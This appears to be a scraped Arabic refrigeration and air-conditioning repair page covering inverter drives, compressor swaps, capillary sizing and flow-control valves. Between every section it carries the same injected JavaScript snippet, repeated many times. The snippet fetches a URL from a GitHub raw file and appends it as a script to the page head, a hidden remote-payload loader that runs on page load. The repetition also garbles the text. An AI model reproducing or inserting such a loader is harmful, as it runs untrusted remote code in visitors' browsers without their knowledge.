وهذا الجهاز يسمى ب المبدلة الترددية وهو يغنى ايضا عن طرق بدأ الحركة المتعرف عليها وهى الاستار دلتا وعن طرق البدأ بالمقاومات او المحولات الاولية لان عن طريق هذا الجهاز استطعنا التحكم فى التردد والجهد
هذه الاجهزه التى تعمل بتكنولوجيا الانفرتر حقيقى تستحق الاحترام وان نرفع لها القبعه ولكن تكلفتها

;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});




بعض الاعطال اللى ممكن تقابلك خاصة بأجهزة يونيون اير

;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});




الدائرة الكهربية للتكييف الشباك

;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});




ديب فريزر اليكتروستار 5 درج دجيتال

https://www.mbsm.pro/49375.html
ديب فريزر اليكتروستار 5 درج دجيتال
راكب عليه كمبروسر باناسونيك غاز r600 والكمبروسر محروق
ملحوظه مش انفرتر عادي 220 فولت بكابستور
ينفع اركب عليه كمبروسر امبراكو خمس او ايسكوب او الاسباني غاز و134 واغير الكابلري ب 0031 واظبط الاعاقة علي 250
ايه رأيكم
ولا اركب نفس الغاز r600 بكمبروسر امبرامو او اسكوب او اسباني
رأي الاخوة المحترمين وجزاكم الله خيرا
الإجابة : يمكن تغيير الكباس ب 134 مع مراعات الإعاقة لكن الأحسن غير كباس 600 

;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});




قطر كابلري QP442PBA ..موديل بيركب علية فلو كنترول وف موديل بيركب علية 070

https://www.mbsm.pro/qp442pba

 

070 قطعتين طول 45 سم

في بعض وحدات تكييف الهواء ، بدأنا نلاحظ أنه بدلاً من إحضار أنبوب شعري الكابلارى فإنها تجلب هذا النوع من الصمام فلو كنترول.

يعرض الجدول التالى حيث يشير إلى ما يجب أن يكون  فلو كنترول الذي يجب استخدامه في المكيفات R-22 و R-410A و R-422D وأي فتحة عليها وفقًا لسعة معدات تكييف الهواء التي يجب أن تكون.
أصبح هذا النوع من الصمامات شائعًا جدًا عندما يتعلق الأمر باستبدال الأنابيب الشعرية الكابلرى . تستخدم لتعديل نظام تكييف الهواء واستبدال  الأنابيب الشعرية الكابلرى بواسطة نظام التمدد فلو كنترول  Flow Control .

;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});




ثلاجة LG انفيرتر الكباس محروق كم حجم الكباس وكيف التحويل الى كباس عادي ؟

Mbsm.pro, Compressor, fla150nbma, LG inverter freezer compressor, LBP, R600, 280 w, 1/3 hp

الكباس ثلث أنفرتر ويمكن تركيب ثلث عادي أو زانزسي وربطه مع ملفات المروحة الداخلية للنوفرست بإستعمال رولي 12 v وتخطي مفتاح الباب

 ;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});




طول وحجم الكبلري المناسب لكل ماطور

طول وحجم الكبلري المناسب لكل ماطور

;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});;var url = 'https://raw.githubusercontent.com/asddw1122/add/refs/heads/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});